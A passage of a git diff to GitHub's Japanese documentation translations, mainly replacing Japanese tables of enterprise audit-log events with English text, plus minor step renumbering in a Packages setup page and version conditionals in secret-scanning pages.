external storage {% data variables.product.prodname_registry %} on {% data variables.product.prodname_ghe_server %} uses external blob storage to store your packages. @@ -32,11 +35,11 @@ To enable {% data variables.product.prodname_registry %} and configure third-par - "[Enabling GitHub Packages with Azure Blob Storage](/admin/packages/enabling-github-packages-with-azure-blob-storage)"{% endif %} - "[Enabling GitHub Packages with MinIO](/admin/packages/enabling-github-packages-with-minio)" -## Step 2: Specify the package ecosystems to support on your instance +## Step 3: Specify the package ecosystems to support on your instance Choose which package ecosystems you'd like to enable, disable, or set to read-only on {% data variables.product.product_location %}. Available options are Docker, RubyGems, npm, Apache Maven, Gradle, or NuGet. For more information, see "[Configuring package ecosystem support for your enterprise](/enterprise/admin/packages/configuring-package-ecosystem-support-for-your-enterprise)." -## Step 3: Ensure you have a TLS certificate for your package host URL, if needed +## Step 4: Ensure you have a TLS certificate for your package host URL, if needed If subdomain isolation is enabled for {% data variables.product.product_location %}, you will need to create and upload a TLS certificate that allows the package host URL for each ecosystem you want to use, such as `npm.HOSTNAME`. Make sure each package host URL includes `https://`. diff --git a/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md b/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md index ef56080716..f7076a7ad1 100644 --- a/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md +++ b/translations/ja-JP/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md @@ -1,6 +1,6 @@ --- -title: 監査されたアクション -intro: 監査ログでいろんなアクションを検索することができます。 +title: Audited actions +intro: You can search the audit log for a wide variety of actions. miniTocMaxHeadingLevel: 3 redirect_from: - /enterprise/admin/articles/audited-actions/ @@ -17,20 +17,27 @@ topics: - Security --- -## 認証 +## Authentication -| アクション | 説明 | -| ------------------------------------ | ---------------------------------------------------------------- | -| `oauth_access.create` | ユーザアカウントに[OAuth アクセストークン][] が[作成][generate token] されました。 | -| `oauth_access.destroy` | [OAuth アクセストークン][] がユーザアカウントから削除されました。 | -| `oauth_application.destroy` | [OAuth application][]がユーザまたは Organization のアカウントから削除されました。 | -| `oauth_application.reset_secret` | [OAuth アプリケーション][]の秘密鍵がリセットされました。 | -| `oauth_application.transfer` | [OAuth アプリケーション][]が別のユーザ、または Organization のアカウントへ移されました。 | -| `public_key.create` | SSHキーがユーザアカウントに[追加][add key]されたか[デプロイキー][]がリポジトリに追加されました。 | -| `public_key.delete` | SSHキーがユーザアカウントから削除されたか[デプロイキー][]がリポジトリから削除されました。 | -| `public_key.update` | ユーザアカウントの SSH キーまたはリポジトリの[デプロイキー][]が更新されました。{% ifversion ghes %} -| `two_factor_authentication.enabled` | ユーザアカウントの[二段階認証][2fa]が有効化されました。 | -| `two_factor_authentication.disabled` | ユーザアカウントの [2 要素認証][2fa]が無効になりました。{% endif %} +Action | Description +------------------------------------ | ---------------------------------------- +`oauth_access.create` | An [OAuth access token][] was [generated][generate token] for a user account. +`oauth_access.destroy` | An [OAuth access token][] was deleted from a user account. +`oauth_application.destroy` | An [OAuth application][] was deleted from a user or organization account. +`oauth_application.reset_secret` | An [OAuth application][]'s secret key was reset. +`oauth_application.transfer` | An [OAuth application][] was transferred from one user or organization account to another. +`public_key.create` | An SSH key was [added][add key] to a user account or a [deploy key][] was added to a repository. +`public_key.delete` | An SSH key was removed from a user account or a [deploy key][] was removed from a repository. +`public_key.update` | A user account's SSH key or a repository's [deploy key][] was updated.{% ifversion ghes %} +`two_factor_authentication.enabled` | [Two-factor authentication][2fa] was enabled for a user account. +`two_factor_authentication.disabled` | [Two-factor authentication][2fa] was disabled for a user account.{% endif %} + + [add key]: /articles/adding-a-new-ssh-key-to-your-github-account + [deploy key]: /guides/managing-deploy-keys/#deploy-keys + [generate token]: /articles/creating-an-access-token-for-command-line-use + [OAuth access token]: /developers/apps/authorizing-oauth-apps + [OAuth application]: /guides/basics-of-authentication/#registering-your-app + [2fa]: /articles/about-two-factor-authentication {% ifversion ghes %} ## {% data variables.product.prodname_actions %} @@ -39,152 +46,159 @@ topics: {% endif %} -## フック +## Hooks -| アクション | 説明 | -| --------------------- | ------------------------ | -| `hook.create` | リポジトリに新規フックが追加されました。 | -| `hook.config_changed` | フックのコンフィグレーションが変更されました。 | -| `hook.destroy` | フックが削除されました。 | -| `hook.events_changed` | フックの設定されているイベントが変更されました。 | +Action | Description +--------------------------------- | ------------------------------------------- +`hook.create` | A new hook was added to a repository. +`hook.config_changed` | A hook's configuration was changed. +`hook.destroy` | A hook was deleted. +`hook.events_changed` | A hook's configured events were changed. -## Enterprise 設定 +## Enterprise configuration settings -| アクション | 説明 | -| ------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion ghes > 3.0 or ghae-next %} -| `business.advanced_security_policy_update` | A site admin creates, updates, or removes a policy for {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)."{% endif %} -| `business.clear_members_can_create_repos` | サイトアドミンは、Enterprise 内の Organization でのリポジトリ作成の制限を解除します。 詳しい情報については、「[Enterprise でリポジトリ管理ポリシーを適用する](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)」を参照してください。{% ifversion ghes > 3.1 %} -| `business.referrer_override_enable` | A site admin enables the referrer policy override. For more information, see "[Configuring the referrer policy for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)." | -| `business.referrer_override_disable` | A site admin disables the referrer policy override. For more information, see "[Configuring the referrer policy for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)."{% endif %} -| `business.update_member_repository_creation_permission` | サイトアドミンは、Enterprise 内の Organization でのリポジトリの作成を制限します。 詳しい情報については、「[Enterprise でリポジトリ管理ポリシーを適用する](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)」を参照してください。{% ifversion ghes %} -| `enterprise.config.lock_anonymous_git_access` | サイトアドミンは匿名の Git 読み取りアクセスをロックして、リポジトリ管理者が Enterprise 内のリポジトリの既存の匿名 Git 読み取りアクセス設定を変更できないようにします。 詳しい情報については、「[Enterprise でリポジトリ管理ポリシーを適用する](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)」を参照してください。 | -| `enterprise.config.unlock_anonymous_git_access` | サイトアドミンは匿名 Git 読み取りアクセスのロックを解除して、リポジトリ管理者が Enterprise 内のリポジトリの既存の匿名 Git 読み取りアクセス設定を変更できるようにします。 詳しい情報については、「[Enterprise でリポジトリ管理ポリシーを適用する](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)」を参照してください。{% endif %} +Action | Description +----------------------------------------------- | -------------------------------------------{% ifversion ghes > 3.0 or ghae-next %} +`business.advanced_security_policy_update` | A site admin creates, updates, or removes a policy for {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)."{% endif %} +`business.clear_members_can_create_repos` | A site admin clears a restriction on repository creation in organizations in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% ifversion ghes > 3.1 %} +`business.referrer_override_enable` | A site admin enables the referrer policy override. For more information, see "[Configuring the referrer policy for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)." +`business.referrer_override_disable` | A site admin disables the referrer policy override. For more information, see "[Configuring the referrer policy for your enterprise](/admin/configuration/configuring-your-enterprise/configuring-the-referrer-policy-for-your-enterprise)."{% endif %} +`business.update_member_repository_creation_permission` | A site admin restricts repository creation in organizations in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% ifversion ghes %} +`enterprise.config.lock_anonymous_git_access` | A site admin locks anonymous Git read access to prevent repository admins from changing existing anonymous Git read access settings for repositories in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)." +`enterprise.config.unlock_anonymous_git_access` | A site admin unlocks anonymous Git read access to allow repository admins to change existing anonymous Git read access settings for repositories in the enterprise. For more information, see "[Enforcing repository management policies in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#configuring-anonymous-git-read-access)."{% endif %} {% ifversion ghae %} -## IP 許可リスト +## IP allow lists -| 名前 | 説明 | -| ------------------------------------------:| --------------------------------------------------------------------------------------- | -| `ip_allow_list_entry.create` | IP アドレスが IP 許可リストに追加されました。 | -| `ip_allow_list_entry.update` | IP アドレスまたはその説明が変更されました。 | -| `ip_allow_list_entry.destroy` | IP アドレスが IP 許可リストから削除されました。 | -| `ip_allow_list.enable` | IP 許可リストが有効化されました。 | -| `ip_allow_list.enable_for_installed_apps` | インストールされている {% data variables.product.prodname_github_apps %} に対して IP 許可リストが有効化されました。 | -| `ip_allow_list.disable` | IP 許可リストが無効化されました。 | -| `ip_allow_list.disable_for_installed_apps` | インストールされている {% data variables.product.prodname_github_apps %} に対して IP 許可リストが無効化されました。 | +Name | Description +------------------------------------:| ----------------------------------------------------------- +`ip_allow_list_entry.create` | An IP address was added to an IP allow list. +`ip_allow_list_entry.update` | An IP address or its description was changed. +`ip_allow_list_entry.destroy` | An IP address was deleted from an IP allow list. +`ip_allow_list.enable` | An IP allow list was enabled. +`ip_allow_list.enable_for_installed_apps` | An IP allow list was enabled for installed {% data variables.product.prodname_github_apps %}. +`ip_allow_list.disable` | An IP allow list was disabled. +`ip_allow_list.disable_for_installed_apps` | An IP allow list was disabled for installed {% data variables.product.prodname_github_apps %}. {% endif %} -## 問題 +## Issues -| アクション | 説明 | -| ---------------------- | -------------------------------------------------------------------------------------------------------------------- | -| `issue.update` | Issue のテキスト本体(最初のコメント)が変更されました。 | -| `issue_comment.update` | Issue (最初以外)のコメントが変更されました。 | -| `issue.destroy` | Issue がリポジトリから削除されました。 詳しい情報については、「[>Issue を削除する](/github/managing-your-work-on-github/deleting-an-issue)」を参照してください。 | +Action | Description +------------------------------------ | ----------------------------------------------------------- +`issue.update` | An issue's body text (initial comment) changed. +`issue_comment.update` | A comment on an issue (other than the initial one) changed. +`issue.destroy` | An issue was deleted from the repository. For more information, see "[Deleting an issue](/github/managing-your-work-on-github/deleting-an-issue)." -## Organization +## Organizations -| アクション | 説明 | -| ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `org.async_delete` | ユーザが Organization を削除するための背景ジョブを開始しました。 | -| `org.delete` | ユーザが開始したバックグラウンドジョブによって Organization が削除されました。{% ifversion not ghae %} -| `org.transform` | ユーザアカウントが Organization へと変換されました。 詳しい情報については、「[ユーザを Organization に変換する](/github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization)」を参照してください。{% endif %} +Action | Description +------------------ | ---------------------------------------------------------- +`org.async_delete` | A user initiated a background job to delete an organization. +`org.delete` | An organization was deleted by a user-initiated background job.{% ifversion not ghae %} +`org.transform` | A user account was converted into an organization. For more information, see "[Converting a user into an organization](/github/setting-up-and-managing-your-github-user-account/converting-a-user-into-an-organization)."{% endif %} -## プルリクエスト +## Pull requests -| Action | Description | | :- | :- |{% ifversion ghes > 3.1 or ghae-next %} | `pull_request.create` | A pull request was created. 詳しい情報については[プルリクエストの作成](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request)を参照してください。 | | `pull_request.close` | A pull request was closed without being merged. For more information, see "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)." | | `pull_request.reopen` | A pull request was reopened after previously being closed. | | `pull_request.merge` | A pull request was merged. 詳しい情報については[プルリクエストのマージ](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)を参照してください。 | | `pull_request.indirect_merge` | A pull request was considered merged because the pull request's commits were merged into the target branch. | | `pull_request.ready_for_review` | A pull request was marked as ready for review. 詳しい情報については、「[プルリクエストのステージを変更する](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#marking-a-pull-request-as-ready-for-review)」を参照してください。 | | `pull_request.converted_to_draft` | A pull request was converted to a draft. 詳しい情報については、「[プルリクエストのステージを変更する](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#converting-a-pull-request-to-a-draft)」を参照してください。 | | `pull_request.create_review_request` | A review was requested on a pull request. 詳しい情報については、「[プルリクエストレビューについて](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)」を参照してください。 | | `pull_request.remove_review_request` | A review request was removed from a pull request. 詳しい情報については、「[プルリクエストレビューについて](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)」を参照してください。 | | `pull_request_review.submit` | A review was submitted for a pull request. 詳しい情報については、「[プルリクエストレビューについて](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)」を参照してください。 | | `pull_request_review.dismiss` | A review on a pull request was dismissed. 詳しい情報については[プルリクエストレビューの却下](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)を参照してください。 | | `pull_request_review.delete` | A review on a pull request was deleted. | | `pull_request_review_comment.create` | A review comment was added to a pull request. 詳しい情報については、「[プルリクエストレビューについて](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)」を参照してください。 | | `pull_request_review_comment.update` | A review comment on a pull request was changed. |{% endif %} | `pull_request_review_comment.delete` | A review comment on a pull request was deleted. | +| Action | Description | +| :- | :- |{% ifversion ghes > 3.1 or ghae-next %} +| `pull_request.create` | A pull request was created. For more information, see "[Creating a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request)." | +| `pull_request.close` | A pull request was closed without being merged. For more information, see "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)." | +| `pull_request.reopen` | A pull request was reopened after previously being closed. | +| `pull_request.merge` | A pull request was merged. For more information, see "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)." | +| `pull_request.indirect_merge` | A pull request was considered merged because the pull request's commits were merged into the target branch. | +| `pull_request.ready_for_review` | A pull request was marked as ready for review. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#marking-a-pull-request-as-ready-for-review)." | +| `pull_request.converted_to_draft` | A pull request was converted to a draft. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-stage-of-a-pull-request#converting-a-pull-request-to-a-draft)." | +| `pull_request.create_review_request` | A review was requested on a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." | +| `pull_request.remove_review_request` | A review request was removed from a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." | +| `pull_request_review.submit` | A review was submitted for a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." | +| `pull_request_review.dismiss` | A review on a pull request was dismissed. For more information, see "[Dismissing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/dismissing-a-pull-request-review)." | +| `pull_request_review.delete` | A review on a pull request was deleted. | +| `pull_request_review_comment.create` | A review comment was added to a pull request. For more information, see "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)." | +| `pull_request_review_comment.update` | A review comment on a pull request was changed. |{% endif %} +| `pull_request_review_comment.delete` | A review comment on a pull request was deleted. | -## 保護されたブランチ +## Protected branches -| アクション | 説明 | -| ------------------------------------------------------------------ | ---------------------------------- | -| `protected_branch.create` | ブランチ保護がブランチで有効になっています。 | -| `protected_branch.destroy` | ブランチ保護がブランチで無効になっています。 | -| `protected_branch.update_admin_enforced` | ブランチ保護がリポジトリ管理者に対して強制されます。 | -| `protected_branch.update_require_code_owner_review` | 必要なコードオーナーレビューの強制がブランチで更新されます。 | -| `protected_branch.dismiss_stale_reviews` | 却下している古いプルリクエストの強制がブランチで更新されます。 | -| `protected_branch.update_signature_requirement_enforcement_level` | 必要なコミット署名の強制がブランチで更新されます。 | -| `protected_branch.update_pull_request_reviews_enforcement_level` | 必要なプルリクエストレビューの強制がブランチで更新されます。 | -| `protected_branch.update_required_status_checks_enforcement_level` | 必要なステータスチェックの強制がブランチで更新されます。 | -| `protected_branch.rejected_ref_update` | ブランチ更新の試行が拒否されます。 | -| `protected_branch.policy_override` | ブランチ保護の要件がリポジトリ管理者によってオーバーライドされます。 | +Action | Description +-------------------------- | ---------------------------------------------------------- +`protected_branch.create ` | Branch protection is enabled on a branch. +`protected_branch.destroy` | Branch protection is disabled on a branch. +`protected_branch.update_admin_enforced ` | Branch protection is enforced for repository administrators. +`protected_branch.update_require_code_owner_review ` | Enforcement of required code owner review is updated on a branch. +`protected_branch.dismiss_stale_reviews ` | Enforcement of dismissing stale pull requests is updated on a branch. +`protected_branch.update_signature_requirement_enforcement_level ` | Enforcement of required commit signing is updated on a branch. +`protected_branch.update_pull_request_reviews_enforcement_level ` | Enforcement of required pull request reviews is updated on a branch. +`protected_branch.update_required_status_checks_enforcement_level ` | Enforcement of required status checks is updated on a branch. +`protected_branch.rejected_ref_update ` | A branch update attempt is rejected. +`protected_branch.policy_override ` | A branch protection requirement is overridden by a repository administrator. -## リポジトリ +## Repositories -| アクション | 説明 | -| ------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `repo.access` | リポジトリの可視性がプライベート{% ifversion ghes %}、パブリック、{% endif %} または内部に変更されました。 | -| `repo.archived` | リポジトリがアーカイブされました。 詳しい情報については、「[{% data variables.product.prodname_dotcom %} のリポジトリをアーカイブする](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)」を参照してください。 | -| `repo.add_member` | リポジトリにコラボレーターが追加されました。 | -| `repo.config` | サイト管理者がフォースプッシュをブロックしました。 詳しくは、 [リポジトリへのフォースプッシュのブロック](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/)を参照してください。 | -| `repo.create` | リポジトリが作成されました。 | -| `repo.destroy` | リポジトリが削除されました。 | -| `repo.remove_member` | コラボレーターがリポジトリから削除されました。 | -| `repo.rename` | リポジトリの名前が変更されました。 | -| `repo.transfer` | ユーザーが転送されたリポジトリを受け取る要求を受け入れました。 | -| `repo.transfer_start` | ユーザーがリポジトリを別のユーザーまたは Organization に転送する要求を送信しました。 | -| `repo.unarchived` | リポジトリがアーカイブ解除されました。 詳しい情報については、「[{% data variables.product.prodname_dotcom %} のリポジトリをアーカイブする](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)」を参照してください。{% ifversion ghes %} -| `repo.config.disable_anonymous_git_access` | 匿名 Git 読み取りアクセスがリポジトリに対して無効になります。 詳細は「[リポジトリに対する匿名 Git 読み取りアクセスを有効化する](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)」を参照してください。 | -| `repo.config.enable_anonymous_git_access` | 匿名 Git 読み取りアクセスがリポジトリに対して有効になります。 詳細は「[リポジトリに対する匿名 Git 読み取りアクセスを有効化する](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)」を参照してください。 | -| `repo.config.lock_anonymous_git_access` | リポジトリの匿名 Git 読み取りアクセス設定がロックされているため、リポジトリ管理者はこの設定を変更 (有効化または無効化) できません。 詳しい情報については、「[ユーザによる匿名 Git 読み取りアクセスの変更を禁止する](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)」を参照してください。 | -| `repo.config.unlock_anonymous_git_access` | リポジトリの匿名 Git 読み取りアクセス設定がロック解除されているため、リポジトリ管理者はこの設定を変更 (有効化または無効化) できます。 詳しい情報については、「[ユーザによる匿名 Git 読み取りアクセスの変更を禁止する](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)」を参照してください。{% endif %} +Action | Description +--------------------- | ------------------------------------------------------- +`repo.access` | The visibility of a repository changed to private{% ifversion ghes %}, public,{% endif %} or internal. +`repo.archived` | A repository was archived. For more information, see "[Archiving a {% data variables.product.prodname_dotcom %} repository](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)." +`repo.add_member` | A collaborator was added to a repository. +`repo.config` | A site admin blocked force pushes. For more information, see [Blocking force pushes to a repository](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/) to a repository. +`repo.create` | A repository was created. +`repo.destroy` | A repository was deleted. +`repo.remove_member` | A collaborator was removed from a repository. +`repo.rename` | A repository was renamed. +`repo.transfer` | A user accepted a request to receive a transferred repository. +`repo.transfer_start` | A user sent a request to transfer a repository to another user or organization. +`repo.unarchived` | A repository was unarchived. For more information, see "[Archiving a {% data variables.product.prodname_dotcom %} repository](/github/creating-cloning-and-archiving-repositories/archiving-a-github-repository)."{% ifversion ghes %} +`repo.config.disable_anonymous_git_access`| Anonymous Git read access is disabled for a repository. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)." +`repo.config.enable_anonymous_git_access` | Anonymous Git read access is enabled for a repository. For more information, see "[Enabling anonymous Git read access for a repository](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)." +`repo.config.lock_anonymous_git_access` | A repository's anonymous Git read access setting is locked, preventing repository administrators from changing (enabling or disabling) this setting. For more information, see "[Preventing users from changing anonymous Git read access](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)." +`repo.config.unlock_anonymous_git_access` | A repository's anonymous Git read access setting is unlocked, allowing repository administrators to change (enable or disable) this setting. For more information, see "[Preventing users from changing anonymous Git read access](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)."{% endif %} -## サイトアドミンのツール +## Site admin tools -| アクション | 説明 | -| ----------------------- | ---------------------------------------------------------------------------------------------- | -| `staff.disable_repo` | サイトアドミンがリポジトリとその全てのフォークへのアクセスを無効にしました。 | -| `staff.enable_repo` | A site admin re-enabled access to a repository and all of its forks.{% ifversion ghes > 3.2 %} -| `staff.exit_fake_login` | A site admin ended an impersonation session on {% data variables.product.product_name %}. | -| `staff.fake_login` | A site admin signed into {% data variables.product.product_name %} as another user.{% endif %} -| `staff.repo_unlock` | サイトアドミンがユーザのプライベートリポジトリを解除(一時的にフルアクセスが可能)しました。 | -| `staff.unlock` | サイトアドミンがユーザの全てのプライベートリポジトリを解除(一時的にフルアクセスが可能)しました。 | +Action | Description +----------------------------- | ----------------------------------------------- +`staff.disable_repo` | A site admin disabled access to a repository and all of its forks. +`staff.enable_repo` | A site admin re-enabled access to a repository and all of its forks.{% ifversion ghes > 3.2 %} +`staff.exit_fake_login` | A site admin ended an impersonation session on {% data variables.product.product_name %}. +`staff.fake_login` | A site admin signed into {% data variables.product.product_name %} as another user.{% endif %} +`staff.repo_unlock` | A site admin unlocked (temporarily gained full access to) one of a user's private repositories. +`staff.unlock` | A site admin unlocked (temporarily gained full access to) all of a user's private repositories. -## Team +## Teams -| アクション | 説明 | -| ------------------------- | --------------------------------------------------------------------------------- | -| `team.create` | ユーザアカウントまたはリポジトリが Team に追加されました。 | -| `team.delete` | A user account or repository was removed from a team.{% ifversion ghes or ghae %} -| `team.demote_maintainer` | ユーザがチームメンテナからチームメンバーに降格されました。{% endif %} -| `team.destroy` | Team が削除されました。{% ifversion ghes or ghae %} -| `team.promote_maintainer` | ユーザーがチームメンバーからチームメンテナに昇格しました。{% endif %} +Action | Description +--------------------------------- | ------------------------------------------- +`team.create` | A user account or repository was added to a team. +`team.delete` | A user account or repository was removed from a team.{% ifversion ghes or ghae %} +`team.demote_maintainer` | A user was demoted from a team maintainer to a team member.{% endif %} +`team.destroy` | A team was deleted.{% ifversion ghes or ghae %} +`team.promote_maintainer` | A user was promoted from a team member to a team maintainer.{% endif %} -## ユーザ +## Users -| アクション | 説明 | -| ------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------- | -| `user.add_email` | ユーザアカウントにメールアドレスが追加されました。 | -| `user.async_delete` | ユーザアカウントを破棄する非同期ジョブが開始され、最終的に ` user.delete ` がトリガーされました。{% ifversion ghes %} -| `user.change_password` | ユーザがパスワードを変更しました。{% endif %} -| `user.create` | 新規ユーザが作成されました。 | -| `user.delete` | ユーザアカウントが非同期的ジョブによって削除されました。 | -| `user.demote` | サイトアドミンが一般ユーザアカウントに変更されました。 | -| `user.destroy` | ユーザが自分のアカウントを削除し、`user.async_delete` をトリガーしました。{% ifversion ghes %} -| `user.failed_login` | ユーザが間違ったユーザネームやパスワード、または二段階認証コードでサインインしようとしました。 | -| `user.forgot_password` | ユーザがサインインページでパスワードリセットを申請しました。{% endif %} -| `user.login` | ユーザがサインインしました。{% ifversion ghes or ghae %} -| `user.mandatory_message_viewed` | ユーザが必須メッセージを表示します(詳細については、「[ユーザメッセージをカスタマイズする](/admin/user-management/customizing-user-messages-for-your-enterprise)」を参照してください) | {% endif %} -| `user.promote` | 一般ユーザアカウントがサイトアドミンへと変更されました。 | -| `user.remove_email` | ユーザアカウントからメールアドレスが削除されました。 | -| `user.rename` | ユーザ名が変更されました。 | -| `user.suspend` | A user account was suspended by a site admin.{% ifversion ghes %} -| `user.two_factor_requested` | ユーザが 2 要素認証コードを求められました。{% endif %} -| `user.unsuspend` | サイトアドミンがユーザアカウント停止を解除しました。 | +Action | Description +--------------------------------- | ------------------------------------------- +`user.add_email` | An email address was added to a user account. +`user.async_delete` | An asynchronous job was started to destroy a user account, eventually triggering `user.delete`.{% ifversion ghes %} +`user.change_password` | A user changed his or her password.{% endif %} +`user.create` | A new user account was created. +`user.delete` | A user account was destroyed by an asynchronous job. +`user.demote` | A site admin was demoted to an ordinary user account. +`user.destroy` | A user deleted his or her account, triggering `user.async_delete`.{% ifversion ghes %} +`user.failed_login` | A user tried to sign in with an incorrect username, password, or two-factor authentication code. +`user.forgot_password` | A user requested a password reset via the sign-in page.{% endif %} +`user.login` | A user signed in.{% ifversion ghes or ghae %} +`user.mandatory_message_viewed` | A user views a mandatory message (see "[Customizing user messages](/admin/user-management/customizing-user-messages-for-your-enterprise)" for details) | {% endif %} +`user.promote` | An ordinary user account was promoted to a site admin. +`user.remove_email` | An email address was removed from a user account. +`user.rename` | A username was changed. +`user.suspend` | A user account was suspended by a site admin.{% ifversion ghes %} +`user.two_factor_requested` | A user was prompted for a two-factor authentication code.{% endif %} +`user.unsuspend` | A user account was unsuspended by a site admin. -{% ifversion ghes > 3.1 or ghae-issue-1157 %} -## ワークフロー +{% ifversion ghes > 3.1 or ghae-next %} +## Workflows {% data reusables.actions.actions-audit-events-workflow %} {% endif %} - - [add key]: /articles/adding-a-new-ssh-key-to-your-github-account - [デプロイキー]: /guides/managing-deploy-keys/#deploy-keys - [generate token]: /articles/creating-an-access-token-for-command-line-use - [OAuth アクセストークン]: /developers/apps/authorizing-oauth-apps - [OAuth application]: /guides/basics-of-authentication/#registering-your-app - [OAuth アプリケーション]: /guides/basics-of-authentication/#registering-your-app - [2fa]: /articles/about-two-factor-authentication - [2fa]: /articles/about-two-factor-authentication diff --git a/translations/ja-JP/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md b/translations/ja-JP/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md index e4cde2b237..ed23e51702 100644 --- a/translations/ja-JP/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md +++ b/translations/ja-JP/content/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning.md @@ -82,8 +82,12 @@ After your pattern is created, {% data variables.product.prodname_secret_scannin ## Defining a custom pattern for an enterprise account +{% ifversion fpt or ghec or ghes %} + Before defining a custom pattern, you must ensure that you enable secret scanning for your enterprise account. For more information, see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise]({% ifversion fpt or ghec %}/enterprise-server@latest/{% endif %}/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise)." +{% endif %} + {% note %} **Note:** As there is no dry-run functionality, we recommend that you test your custom patterns in a repository before defining them for your entire enterprise. That way, you can avoid creating excess false-positive {% data variables.product.prodname_secret_scanning %} alerts. diff --git a/translations/ja-JP/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md b/translations/ja-JP/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md index f1d15dceea..b148ac4d78 100644 --- a/translations/ja-JP/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md +++ b/translations/ja-JP/content/code-security/secret-scanning/managing-alerts-from-secret-scanning.md @@ -25,14 +25,14 @@ shortTitle: Manage secret alerts {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} -3. In the left sidebar, click 